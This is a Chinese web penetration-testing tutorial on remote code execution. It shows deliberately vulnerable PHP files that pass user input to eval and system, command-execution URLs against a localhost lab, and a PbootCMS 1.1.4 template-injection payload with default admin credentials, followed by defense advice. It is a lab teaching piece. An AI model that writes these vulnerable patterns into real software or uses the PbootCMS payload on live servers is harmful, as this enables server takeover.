【网安-Web渗透测试-漏洞系列】RCE漏洞

RCE漏洞

一、RCE概念

1、什么是RCE漏洞?

RCE(Remote Code/Command Execution)是远程代码执⾏和远程命令执⾏的漏洞。在很多Web应⽤中,开发⼈员会使⽤⼀些函数,这些函数以⼀些字符串作为输⼊,功能是将输⼊的字符串当作代码或者命令来进⾏执⾏。当⽤户可以控制这些函数的输⼊时,就产⽣了RCE漏洞。

2、危害性

RCE漏洞是⾮常严重的安全漏洞,⼀旦出现,就意味着攻击者可以获取服务器的命令执⾏权限,从⽽对服务器安全造成极⼤的影响。

二、运行环境

名称
操作系统 Windows 10
中间件 phpStudy 2018
PHP版本 5.4.45
Apache 2.4

三、远程代码执行案例

1、eval函数

(1)新建rce_1.php文件

bash 复制代码
<?php
 $code=$_GET['x'];
 eval($code);
?>

(2)访问地址

bash 复制代码
http://127.0.0.1/rce_1.php?x=phpinfo();
bash 复制代码
http://127.0.0.1/rce_1.php?x=echo 'This is an echo print output!';

2、system函数

(1)新建rce_2.php文件

bash 复制代码
<?php
 $code=$_GET['x'];
 echo system($code);
?>

(2)访问地址

bash 复制代码
http://127.0.0.1/rce_2.php?x=ipconfig
bash 复制代码
http://127.0.0.1/rce_2.php?x=dir
bash 复制代码
http://127.0.0.1/rce_2.php?x=tasklist
bash 复制代码
http://127.0.0.1/rce_2.php?x=systeminfo

四、PbootCMS-1.1.4靶场实践

1、靶场环境配置

(1)部署地址

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pboot

(2)访问地址

bash 复制代码
http://127.0.0.1/pboot

2、漏洞复现

Step1:访问地址

bash 复制代码
http://127.0.0.1/pboot/index.php/about/10.html


Step2:留言输⼊框 "内 容" 中填入如下的东西后,单击"提交"。

bash 复制代码
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

提交成功后会显示"提交成功"

Step3:登录后台

bash 复制代码
账户:admin
密码:123456


Step4:在 "在线留言" 页面中注入恶意语句

3、分析"漏洞复现"为何能成功注入

Step1:所访问的 "在线留言" 中含有的访问地址已得知。

bash 复制代码
http://127.0.0.1/pboot/index.php/about/10.html

Step2:现查阅 "在线留言" 的源码,位置如下:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pboot\apps\home\controller\AboutController.php

Step3:从图片看到ParserController.php中存在了一个eval函数,且AboutController.php(即"在线留言"页面)调用了ParserController.php模块。

五、RCE漏洞防御

  • 在进入执行命令函数前,需做严格的检测和过滤;
  • 命令执行函数(不能完全控制的危险函数)尽量不用,如果必须使用,则一定要加上验证,以防他人利用。
  • 必须保证用户不能轻易接触eval的参数,如果一定需要用该函数,需严格判断输入的数据是否含有危险变量。
相关推荐
深邃-40 分钟前
【Web安全】-Kali,Linux配置(1):Kali网络配置,LinuxEnvConfig配置脚本,APT源的讲解,Kali设置中文
linux·运维·开发语言·网络·安全·web安全·网络安全
BingoGo43 分钟前
使用 PHP TrueAsync 改造 Laravel 协程异步化的可行路径
php·laravel
aq55356001 小时前
Laravel 6.x新特性全解析
php·laravel
不会编程的崽1 小时前
0CTF piapiapia PHP反序列化+字符串逃逸
安全·web安全·网络安全·php
拾光Ծ1 小时前
system V IPC :共享内存,消息队列与信号量(详解)
linux·运维·web安全·信息与通信·system v ipc
不灭锦鲤1 小时前
网络安全学习第171天
学习·安全·web安全
王大傻09283 小时前
安全漏洞的生命周期
网络·安全·web安全
一名优秀的码农16 小时前
vulhub系列-84-hacksudo: aliens(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
石榴树下的七彩鱼18 小时前
智能抠图 API 多语言接入实战:从零到上线的 Python / Java / PHP / JS 完整教程(附避坑指南)
java·python·php·智能抠图·api接入·石榴智能·shiliuai
XS03010620 小时前
Java 基础(九) IO流
java·开发语言·php